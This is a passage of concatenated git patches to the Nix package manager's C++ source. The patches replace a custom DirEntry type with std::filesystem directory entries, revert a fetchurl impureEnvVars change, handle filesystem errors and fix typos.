Path & link) try { createSymlink(target, tmp); - } catch (SysError & e) { - if (e.errNo == EEXIST) continue; + } catch (fs::filesystem_error & e) { + if (e.code() == std::errc::file_exists) continue; throw; } diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 0c4e7cfdd..2ecf2881c 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -27,13 +27,6 @@ #include #include -#ifndef HAVE_STRUCT_DIRENT_D_TYPE -#define DT_UNKNOWN 0 -#define DT_REG 1 -#define DT_LNK 2 -#define DT_DIR 3 -#endif - /** * Polyfill for MinGW * @@ -132,20 +125,16 @@ bool isLink(const Path & path); struct DirEntry { std::string name; - ino_t ino; - /** - * one of DT_* - */ - unsigned char type; - DirEntry(std::string name, ino_t ino, unsigned char type) - : name(std::move(name)), ino(ino), type(type) { } + std::filesystem::file_type type; + DirEntry(std::string name, std::filesystem::file_type type) + : name(std::move(name)), type(type) { } }; typedef std::vector DirEntries; DirEntries readDirectory(const Path & path); -unsigned char getFileType(const Path & path); +std::filesystem::file_type getFileType(const Path & path); /** * Read the contents of a file into a string. diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc index 8b8942643..9234a4b2e 100644 --- a/src/libutil/linux/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -65,7 +65,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) /* Otherwise, manually kill every process in the subcgroups and this cgroup. */ for (auto & entry : readDirectory(cgroup)) { - if (entry.type != DT_DIR) continue; + if (entry.type != std::filesystem::file_type::directory) continue; destroyCgroup(cgroup + "/" + entry.name, false); } diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index e9c554939..a2559a0fb 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -134,13 +134,17 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & DirEntries res; for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) { std::optional type; + // cannot exhaustively enumerate because implementation-specific + // additional file types are allowed. +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (entry.type) { - case DT_REG: type = Type::tRegular; break; - #ifndef _WIN32 - case DT_LNK: type = Type::tSymlink; break; - #endif - case DT_DIR: type = Type::tDirectory; break; + case std::filesystem::file_type::regular: type = Type::tRegular; break; + case std::filesystem::file_type::symlink: type = Type::tSymlink; break; + case std::filesystem::file_type::directory: type = Type::tDirectory; break; + default: type = tMisc; } +#pragma GCC diagnostic pop res.emplace(entry.name, type); } return res; diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index 27c8d821b..068b37843 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -133,6 +133,7 @@ void closeMostFDs(const std::set & exceptions) } return; } catch (SysError &) { + } catch (std::filesystem::filesystem_error &) { } #endif diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc index bb3f1bc6a..9dfbea3f1 100644 --- a/src/nix-collect-garbage/nix-collect-garbage.cc +++ b/src/nix-collect-garbage/nix-collect-garbage.cc @@ -31,14 +31,14 @@ void removeOldGenerations(std::string dir) checkInterrupt(); auto path = dir + "/" + i.name; - auto type = i.type == DT_UNKNOWN ? getFileType(path) : i.type; + auto type = i.type == std::filesystem::file_type::unknown ? getFileType(path) : i.type; - if (type == DT_LNK && canWrite) { + if (type == std::filesystem::file_type::symlink && canWrite) { std::string link; try { link = readLink(path); - } catch (SysError & e) { - if (e.errNo == ENOENT) continue; + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::no_such_file_or_directory) continue; throw; } if (link.find("link") != std::string::npos) { @@ -49,7 +49,7 @@ void removeOldGenerations(std::string dir) } else deleteOldGenerations(path, dryRun); } - } else if (type == DT_DIR) { + } else if (type == std::filesystem::file_type::directory) { removeOldGenerations(path); } } diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index f7c4cebec..f23e36fb5 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -107,7 +107,8 @@ struct CmdConfigCheck : StoreCommand if (profileDir.find("/profiles/") == std::string::npos) dirs.insert(dir); } - } catch (SystemError &) {} + } catch (SystemError &) { + } catch (std::filesystem::filesystem_error &) {} } if (!dirs.empty()) { From d641e8f71793187d442368d3ad28ad31a683f5ca Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 7 May 2024 11:25:07 +0200 Subject: [PATCH 0563/1251] builtin:fetchurl: Revert impureEnvVars attribute This was changed in #10611, which caused the derivation paths of anything using builtin:fetchurl to change (i.e. all of Nixpkgs). However, impureEnvVars doesn't actually do anything for builtin:fetchurl, so we can just set it to its historical value. --- src/libexpr/fetchurl.nix | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/src/libexpr/fetchurl.nix b/src/libexpr/fetchurl.nix index aef4058fb..85a01d161 100644 --- a/src/libexpr/fetchurl.nix +++ b/src/libexpr/fetchurl.nix @@ -28,13 +28,9 @@ derivation ({ # No need to double the amount of network traffic preferLocalBuild = true; + # This attribute does nothing; it's here to avoid changing evaluation results. impureEnvVars = [ - # We borrow these environment variables from the caller to allow - # easy proxy configuration. This is impure, but a fixed-output - # derivation like fetchurl is allowed to do so since its result is - # by definition pure. "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy" - "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY" ]; # To make "nix-prefetch-url" work. From a3c573950bb7f46f2f58592bc7ad4cfcc7b31cef Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 7 May 2024 11:29:33 -0400 Subject: [PATCH 0564/1251] Replace our `DirEntry` with `std::filesystem`'s --- src/libcmd/repl.cc | 5 +++-- src/libstore/builtins/buildenv.cc | 9 +++++---- src/libstore/globals.cc | 4 ++-- src/libstore/local-binary-cache-store.cc | 7 ++++--- src/libstore/profiles.cc | 8 ++++---- src/libstore/unix/builtins/unpack-channel.cc | 2 +- src/libstore/unix/gc.cc | 9 +++++---- src/libstore/unix/local-store.cc | 11 ++++++----- src/libstore/unix/posix-fs-canonicalise.cc | 4 ++-- src/libutil/file-system.cc | 8 +++----- src/libutil/file-system.hh | 12 +----------- src/libutil/linux/cgroup.cc | 12 ++++++------ src/libutil/posix-source-accessor.cc | 4 ++-- src/libutil/unix/file-descriptor.cc | 2 +- src/nix-collect-garbage/nix-collect-garbage.cc | 4 ++-- src/nix/flake.cc | 4 ++-- src/nix/prefetch.cc | 2 +- src/nix/run.cc | 4 ++-- 18 files changed, 52 insertions(+), 59 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index d2f2a9648..8a9155ab6 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -260,8 +260,9 @@ StringSet NixRepl::completePrefix(const std::string & prefix) auto dir = std::string(cur, 0, slash); auto prefix2 = std::string(cur, slash + 1); for (auto & entry : readDirectory(dir == "" ? "/" : dir)) { - if (entry.name[0] != '.' && hasPrefix(entry.name, prefix2)) - completions.insert(prev + dir + "/" + entry.name); + auto name = entry.path().filename().string(); + if (name[0] != '.' && hasPrefix(name, prefix2)) + completions.insert(prev + entry.path().string()); } } catch (Error &) { } catch (std::filesystem::filesystem_error &) { diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index ebd8f1348..5fcdf6f15 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -17,7 +17,7 @@ struct State /* For each activated package, create symlinks */ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, int priority) { - DirEntries srcFiles; + std::vector srcFiles; try { srcFiles = readDirectory(srcDir); @@ -30,11 +30,12 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, } for (const auto & ent : srcFiles) { - if (ent.name[0] == '.') + auto name = ent.path().filename(); + if (name.string()[0] == '.') /* not matched by glob */ continue; - auto srcFile = srcDir + "/" + ent.name; - auto dstFile = dstDir + "/" + ent.name; + auto srcFile = (std::filesystem::path{srcDir} / name).string(); + auto dstFile = (std::filesystem::path{dstDir} / name).string(); struct stat srcSt; try { diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index f0096b981..4df2880e6 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -343,11 +343,11 @@ void initPlugins() { assert(!settings.pluginFiles.pluginsLoaded); for (const auto & pluginFile : settings.pluginFiles.get()) { - Paths pluginFiles; + std::vector pluginFiles; try { auto ents = readDirectory(pluginFile); for (const auto & ent : ents) - pluginFiles.emplace_back(pluginFile + "/" + ent.name); + pluginFiles.emplace_back(ent.path()); } catch (std::filesystem::filesystem_error & e) { if (e.code() != std::errc::not_a_directory) throw; diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 5481dd762..3a48f4480 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -84,11 +84,12 @@ protected: StorePathSet paths; for (auto & entry : readDirectory(binaryCacheDir)) { - if (entry.name.size() != 40 || - !hasSuffix(entry.name, ".narinfo")) + auto name = entry.path().filename().string(); + if (name.size() != 40 || + !hasSuffix(name, ".narinfo")) continue; paths.insert(parseStorePath( - storeDir + "/" + entry.name.substr(0, entry.name.size() - 8) + storeDir + "/" + name.substr(0, name.size() - 8) + "-" + MissingName)); } diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index a0bb60410..fa8026703 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -34,12 +34,12 @@ std::pair> findGenerations(Path pro { Generations gens; - Path profileDir = dirOf(profile); + std::filesystem::path profileDir = dirOf(profile); auto profileName = std::string(baseNameOf(profile)); - for (auto & i : readDirectory(profileDir)) { - if (auto n = parseName(profileName, i.name)) { - auto path = profileDir + "/" + i.name; + for (auto & i : readDirectory(profileDir.string())) { + if (auto n = parseName(profileName, i.path().filename().string())) { + auto path = i.path().string(); gens.push_back({ .number = *n, .path = path, diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc index 6f68d4c0b..47bf5d49c 100644 --- a/src/libstore/unix/builtins/unpack-channel.cc +++ b/src/libstore/unix/builtins/unpack-channel.cc @@ -24,7 +24,7 @@ void builtinUnpackChannel( auto entries = readDirectory(out); if (entries.size() != 1) throw Error("channel tarball '%s' contains more than one file", src); - renameFile((out + "/" + entries[0].name), (out + "/" + channelName)); + renameFile(entries[0].path().string(), (out + "/" + channelName)); } } diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc index 6677946aa..c10ed5564 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/unix/gc.cc @@ -160,14 +160,15 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) /* Read the `temproots' directory for per-process temporary root files. */ for (auto & i : readDirectory(tempRootsDir)) { - if (i.name[0] == '.') { + auto name = i.path().filename().string(); + if (name[0] == '.') { // Ignore hidden files. Some package managers (notably portage) create // those to keep the directory alive. continue; } - Path path = tempRootsDir + "/" + i.name; + Path path = i.path(); - pid_t pid = std::stoi(i.name); + pid_t pid = std::stoi(name); debug("reading temporary root file '%1%'", path); AutoCloseFD fd(open(path.c_str(), O_CLOEXEC | O_RDWR, 0666)); @@ -222,7 +223,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R if (type == std::filesystem::file_type::directory) { for (auto & i : readDirectory(path)) - findRoots(path + "/" + i.name, i.type, roots); + findRoots(i.path().string(), i.symlink_status().type(), roots); } else if (type == std::filesystem::file_type::symlink) { diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc index a3de523a3..7a47d1524 100644 --- a/src/libstore/unix/local-store.cc +++ b/src/libstore/unix/local-store.cc @@ -1388,15 +1388,16 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) printInfo("checking link hashes..."); for (auto & link : readDirectory(linksDir)) { - printMsg(lvlTalkative, "checking contents of '%s'", link.name); - Path linkPath = linksDir + "/" + link.name; + auto name = link.path().filename(); + printMsg(lvlTalkative, "checking contents of '%s'", name); + Path linkPath = linksDir / name; PosixSourceAccessor accessor; std::string hash = hashPath( {getFSSourceAccessor(), CanonPath(linkPath)}, FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false); - if (hash != link.name) { + if (hash != name.string()) { printError("link '%s' was modified! expected hash '%s', got '%s'", - linkPath, link.name, hash); + linkPath, name, hash); if (repair) { if (unlink(linkPath.c_str()) == 0) printInfo("removed link '%s'", linkPath); @@ -1483,7 +1484,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair */ for (auto & i : readDirectory(realStoreDir)) { try { - storePathsInStoreDir.insert({i.name}); + storePathsInStoreDir.insert({i.path().filename().string()}); } catch (BadStorePath &) { } } diff --git a/src/libstore/unix/posix-fs-canonicalise.cc b/src/libstore/unix/posix-fs-canonicalise.cc index 8b29e90d4..916db49ac 100644 --- a/src/libstore/unix/posix-fs-canonicalise.cc +++ b/src/libstore/unix/posix-fs-canonicalise.cc @@ -136,9 +136,9 @@ static void canonicalisePathMetaData_( } if (S_ISDIR(st.st_mode)) { - DirEntries entries = readDirectory(path); + std::vector entries = readDirectory(path); for (auto & i : entries) - canonicalisePathMetaData_(path + "/" + i.name, uidRange, inodesSeen); + canonicalisePathMetaData_(i.path().string(), uidRange, inodesSeen); } } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 0e68241fc..b9abcade9 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -228,16 +228,14 @@ bool isLink(const Path & path) } -DirEntries readDirectory(const Path & path) +std::vector readDirectory(const Path & path) { - DirEntries entries; + std::vector entries; entries.reserve(64); for (auto & entry : fs::directory_iterator{path}) { checkInterrupt(); - entries.emplace_back( - entry.path().filename().string(), - entry.symlink_status().type()); + entries.push_back(std::move(entry)); } return entries; diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 2ecf2881c..2bf703276 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -122,17 +122,7 @@ bool isLink(const Path & path); * Read the contents of a directory. The entries `.` and `..` are * removed. */ -struct DirEntry -{ - std::string name; - std::filesystem::file_type type; - DirEntry(std::string name, std::filesystem::file_type type) - : name(std::move(name)), type(type) { } -}; - -typedef std::vector DirEntries; - -DirEntries readDirectory(const Path & path); +std::vector readDirectory(const Path & path); std::filesystem::file_type getFileType(const Path & path); diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc index 9234a4b2e..619ef7764 100644 --- a/src/libutil/linux/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -47,26 +47,26 @@ std::map getCgroups(const Path & cgroupFile) return cgroups; } -static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) +static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool returnStats) { if (!pathExists(cgroup)) return {}; - auto procsFile = cgroup + "/cgroup.procs"; + auto procsFile = cgroup / "cgroup.procs"; if (!pathExists(procsFile)) throw Error("'%s' is not a cgroup", cgroup); /* Use the fast way to kill every process in a cgroup, if available. */ - auto killFile = cgroup + "/cgroup.kill"; + auto killFile = cgroup / "cgroup.kill"; if (pathExists(killFile)) writeFile(killFile, "1"); /* Otherwise, manually kill every process in the subcgroups and this cgroup. */ for (auto & entry : readDirectory(cgroup)) { - if (entry.type != std::filesystem::file_type::directory) continue; - destroyCgroup(cgroup + "/" + entry.name, false); + if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue; + destroyCgroup(cgroup / entry.path().filename(), false); } int round = 1; @@ -111,7 +111,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) CgroupStats stats; if (returnStats) { - auto cpustatPath = cgroup + "/cpu.stat"; + auto cpustatPath = cgroup / "cpu.stat"; if (pathExists(cpustatPath)) { for (auto & line : tokenizeString>(readFile(cpustatPath), "\n")) { diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index a2559a0fb..4ff61f6bb 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -138,14 +138,14 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & // additional file types are allowed. #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wswitch-enum" - switch (entry.type) { + switch (entry.symlink_status().type()) { case std::filesystem::file_type::regular: type = Type::tRegular; break; case std::filesystem::file_type::symlink: type = Type::tSymlink; break; case std::filesystem::file_type::directory: type = Type::tDirectory; break; default: type = tMisc; } #pragma GCC diagnostic pop - res.emplace(entry.name, type); + res.emplace(entry.path().filename().string(), type); } return res; } diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index 068b37843..222d077e5 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -125,7 +125,7 @@ void closeMostFDs(const std::set & exceptions) #if __linux__ try { for (auto & s : readDirectory("/proc/self/fd")) { - auto fd = std::stoi(s.name); + auto fd = std::stoi(s.path().filename()); if (!exceptions.count(fd)) { debug("closing leaked FD %d", fd); close(fd); diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc index 9dfbea3f1..02a3a4b83 100644 --- a/src/nix-collect-garbage/nix-collect-garbage.cc +++ b/src/nix-collect-garbage/nix-collect-garbage.cc @@ -30,8 +30,8 @@ void removeOldGenerations(std::string dir) for (auto & i : readDirectory(dir)) { checkInterrupt(); - auto path = dir + "/" + i.name; - auto type = i.type == std::filesystem::file_type::unknown ? getFileType(path) : i.type; + auto path = i.path().string(); + auto type = i.symlink_status().type(); if (type == std::filesystem::file_type::symlink && canWrite) { std::string link; diff --git a/src/nix/flake.cc b/src/nix/flake.cc index d5987237f..9c1888aa0 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -867,8 +867,8 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand createDirs(to); for (auto & entry : readDirectory(from)) { - auto from2 = from + "/" + entry.name; - auto to2 = to + "/" + entry.name; + auto from2 = entry.path().string(); + auto to2 = to + "/" + entry.path().filename().string(); auto st = lstat(from2); if (S_ISDIR(st.st_mode)) copyDir(from2, to2); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 6c2eb5aaf..cff1c7988 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -117,7 +117,7 @@ std::tuple prefetchFile( that as the top-level. */ auto entries = readDirectory(unpacked); if (entries.size() == 1) - tmpFile = unpacked + "/" + entries[0].name; + tmpFile = entries[0].path().string(); else tmpFile = unpacked; } diff --git a/src/nix/run.cc b/src/nix/run.cc index 88821710d..9c559bdf6 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -249,8 +249,8 @@ void chrootHelper(int argc, char * * argv) throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); for (auto entry : readDirectory("/")) { - auto src = "/" + entry.name; - Path dst = tmpDir + "/" + entry.name; + auto src = entry.path().string(); + Path dst = tmpDir + "/" + entry.path().filename().string(); if (pathExists(dst)) continue; auto st = lstat(src); if (S_ISDIR(st.st_mode)) { From 72a0d4b022b72a7f48a7784df04d50ec8bd874f5 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 7 May 2024 13:57:39 -0400 Subject: [PATCH 0565/1251] Try to fix macOS Nixpkgs lib test failure Sometimes we read a directory with children we cannot stat. It's a pitty we even try to stat at all (wasteful) in the `DT_UNKNOWN` case, but at least this should get rid of the failure. --- src/libstore/unix/gc.cc | 8 +++++++ src/libutil/posix-source-accessor.cc | 31 ++++++++++++++++++++-------- 2 files changed, 30 insertions(+), 9 deletions(-) diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc index c10ed5564..38cbf12b2 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/unix/gc.cc @@ -256,6 +256,14 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R } + catch (std::filesystem::filesystem_error & e) { + /* We only ignore permanent failures. */ + if (e.code() == std::errc::permission_denied || e.code() == std::errc::no_such_file_or_directory || e.code() == std::errc::not_a_directory) + printInfo("cannot read potential root '%1%'", path); + else + throw; + } + catch (SysError & e) { /* We only ignore permanent failures. */ if (e.errNo == EACCES || e.errNo == ENOENT || e.errNo == ENOTDIR) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 4ff61f6bb..aa13f4c56 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -133,18 +133,31 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & assertNoSymlinks(path); DirEntries res; for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) { - std::optional type; - // cannot exhaustively enumerate because implementation-specific - // additional file types are allowed. + auto type = [&]() -> std::optional { + std::filesystem::file_type nativeType; + try { + nativeType = entry.symlink_status().type(); + } catch (std::filesystem::filesystem_error & e) { + // We cannot always stat the child. (Ideally there is no + // stat because the native directory entry has the type + // already, but this isn't always the case.) + if (e.code() == std::errc::permission_denied || e.code() == std::errc::operation_not_permitted) + return std::nullopt; + else throw; + } + + // cannot exhaustively enumerate because implementation-specific + // additional file types are allowed. #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wswitch-enum" - switch (entry.symlink_status().type()) { - case std::filesystem::file_type::regular: type = Type::tRegular; break; - case std::filesystem::file_type::symlink: type = Type::tSymlink; break; - case std::filesystem::file_type::directory: type = Type::tDirectory; break; - default: type = tMisc; - } + switch (nativeType) { + case std::filesystem::file_type::regular: return Type::tRegular; break; + case std::filesystem::file_type::symlink: return Type::tSymlink; break; + case std::filesystem::file_type::directory: return Type::tDirectory; break; + default: return tMisc; + } #pragma GCC diagnostic pop + }(); res.emplace(entry.path().filename().string(), type); } return res; From fcbc36cf78a1eb7be7458683da99a4dd08144a6f Mon Sep 17 00:00:00 2001 From: Siddhant Kumar Date: Wed, 8 May 2024 03:58:50 +0530 Subject: [PATCH 0566/1251] Use `std::filesystem::path` in more places (#10657) Progress on #9205 Co-Authored-By: John Ericson * Get rid of `PathNG`, just use `std::filesystem::path` --- src/libstore/ssh-store.cc | 2 +- src/libstore/ssh.cc | 6 +++--- src/libstore/unix/local-store.cc | 18 ++++++++-------- src/libstore/unix/local-store.hh | 2 +- src/libutil/experimental-features.cc | 2 +- src/libutil/file-path.hh | 32 +++++++++++++++++----------- src/libutil/file-system.cc | 27 +++++++++++------------ src/libutil/file-system.hh | 21 ++++++++++++------ src/libutil/unix/file-path.cc | 6 +++--- src/libutil/windows/file-path.cc | 16 +++++++------- src/nix-build/nix-build.cc | 12 +++++------ src/nix/develop.cc | 32 +++++++++++++++++----------- src/nix/prefetch.cc | 10 ++++----- 13 files changed, 104 insertions(+), 82 deletions(-) diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 0cf92b114..220d5d31b 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -108,7 +108,7 @@ struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfi { } - const std::string name() override { return "Experimental SSH Store with filesytem mounted"; } + const std::string name() override { return "Experimental SSH Store with filesystem mounted"; } std::string doc() override { diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 04f458279..7e730299a 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -31,11 +31,11 @@ void SSHMaster::addCommonSSHOpts(Strings & args) if (!keyFile.empty()) args.insert(args.end(), {"-i", keyFile}); if (!sshPublicHostKey.empty()) { - Path fileName = (Path) *state->tmpDir + "/host-key"; + std::filesystem::path fileName = state->tmpDir->path() / "host-key"; auto p = host.rfind("@"); std::string thost = p != std::string::npos ? std::string(host, p + 1) : host; - writeFile(fileName, thost + " " + base64Decode(sshPublicHostKey) + "\n"); - args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName}); + writeFile(fileName.string(), thost + " " + base64Decode(sshPublicHostKey) + "\n"); + args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName.string()}); } if (compress) args.push_back("-C"); diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc index 7a47d1524..f33d92717 100644 --- a/src/libstore/unix/local-store.cc +++ b/src/libstore/unix/local-store.cc @@ -1220,8 +1220,8 @@ StorePath LocalStore::addToStoreFromDump( } std::unique_ptr delTempDir; - Path tempPath; - Path tempDir; + std::filesystem::path tempPath; + std::filesystem::path tempDir; AutoCloseFD tempDirFd; bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod; @@ -1237,9 +1237,9 @@ StorePath LocalStore::addToStoreFromDump( std::tie(tempDir, tempDirFd) = createTempDirInStore(); delTempDir = std::make_unique(tempDir); - tempPath = tempDir + "/x"; + tempPath = tempDir / "x"; - restorePath(tempPath, bothSource, dumpMethod); + restorePath(tempPath.string(), bothSource, dumpMethod); dumpBuffer.reset(); dump = {}; @@ -1252,7 +1252,7 @@ StorePath LocalStore::addToStoreFromDump( methodsMatch ? dumpHash : hashPath( - {getFSSourceAccessor(), CanonPath(tempPath)}, + PosixSourceAccessor::createAtRoot(tempPath), hashMethod.getFileIngestionMethod(), hashAlgo), { .others = references, @@ -1295,7 +1295,7 @@ StorePath LocalStore::addToStoreFromDump( } } else { /* Move the temporary path we restored above. */ - moveFile(tempPath, realPath); + moveFile(tempPath.string(), realPath); } /* For computing the nar hash. In recursive SHA-256 mode, this @@ -1330,9 +1330,9 @@ StorePath LocalStore::addToStoreFromDump( /* Create a temporary directory in the store that won't be garbage-collected until the returned FD is closed. */ -std::pair LocalStore::createTempDirInStore() +std::pair LocalStore::createTempDirInStore() { - Path tmpDirFn; + std::filesystem::path tmpDirFn; AutoCloseFD tmpDirFd; bool lockedByUs = false; do { @@ -1345,7 +1345,7 @@ std::pair LocalStore::createTempDirInStore() continue; } lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true); - } while (!pathExists(tmpDirFn) || !lockedByUs); + } while (!pathExists(tmpDirFn.string()) || !lockedByUs); return {tmpDirFn, std::move(tmpDirFd)}; } diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh index 15bcc826f..2b6e2e25f 100644 --- a/src/libstore/unix/local-store.hh +++ b/src/libstore/unix/local-store.hh @@ -377,7 +377,7 @@ private: void findRuntimeRoots(Roots & roots, bool censor); - std::pair createTempDirInStore(); + std::pair createTempDirInStore(); typedef std::unordered_set InodeHash; diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 1e7469cad..9b7000f9f 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -282,7 +282,7 @@ constexpr std::array xpFeatureDetails .tag = Xp::MountedSSHStore, .name = "mounted-ssh-store", .description = R"( - Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesytem-mounted). + Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesystem-mounted). )", .trackingUrl = "https://github.com/NixOS/nix/milestone/43", }, diff --git a/src/libutil/file-path.hh b/src/libutil/file-path.hh index 6fb100125..6589c4060 100644 --- a/src/libutil/file-path.hh +++ b/src/libutil/file-path.hh @@ -13,9 +13,8 @@ namespace nix { * * @todo drop `NG` suffix and replace the ones in `types.hh`. */ -typedef std::filesystem::path PathNG; -typedef std::list PathsNG; -typedef std::set PathSetNG; +typedef std::list PathsNG; +typedef std::set PathSetNG; /** * Stop gap until `std::filesystem::path_view` from P1030R6 exists in a @@ -23,18 +22,18 @@ typedef std::set PathSetNG; * * @todo drop `NG` suffix and replace the one in `types.hh`. */ -struct PathViewNG : std::basic_string_view +struct PathViewNG : std::basic_string_view { - using string_view = std::basic_string_view; + using string_view = std::basic_string_view; using string_view::string_view; - PathViewNG(const PathNG & path) - : std::basic_string_view(path.native()) + PathViewNG(const std::filesystem::path & path) + : std::basic_string_view(path.native()) { } - PathViewNG(const PathNG::string_type & path) - : std::basic_string_view(path) + PathViewNG(const std::filesystem::path::string_type & path) + : std::basic_string_view(path) { } const string_view & native() const { return *this; } @@ -43,10 +42,19 @@ struct PathViewNG : std::basic_string_view std::string os_string_to_string(PathViewNG::string_view path); -PathNG::string_type string_to_os_string(std::string_view s); +std::filesystem::path::string_type string_to_os_string(std::string_view s); -std::optional maybePathNG(PathView path); +std::optional maybePath(PathView path); -PathNG pathNG(PathView path); +std::filesystem::path pathNG(PathView path); + +/** + * Create string literals with the native character width of paths + */ +#ifndef _WIN32 +# define PATHNG_LITERAL(s) s +#else +# define PATHNG_LITERAL(s) L ## s +#endif } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index b9abcade9..03f64edc7 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -228,9 +228,9 @@ bool isLink(const Path & path) } -std::vector readDirectory(const Path & path) +std::vector readDirectory(const Path & path) { - std::vector entries; + std::vector entries; entries.reserve(64); for (auto & entry : fs::directory_iterator{path}) { @@ -342,12 +342,12 @@ void syncParent(const Path & path) } -static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytesFreed) +static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & bytesFreed) { #ifndef _WIN32 checkInterrupt(); - std::string name(baseNameOf(path)); + std::string 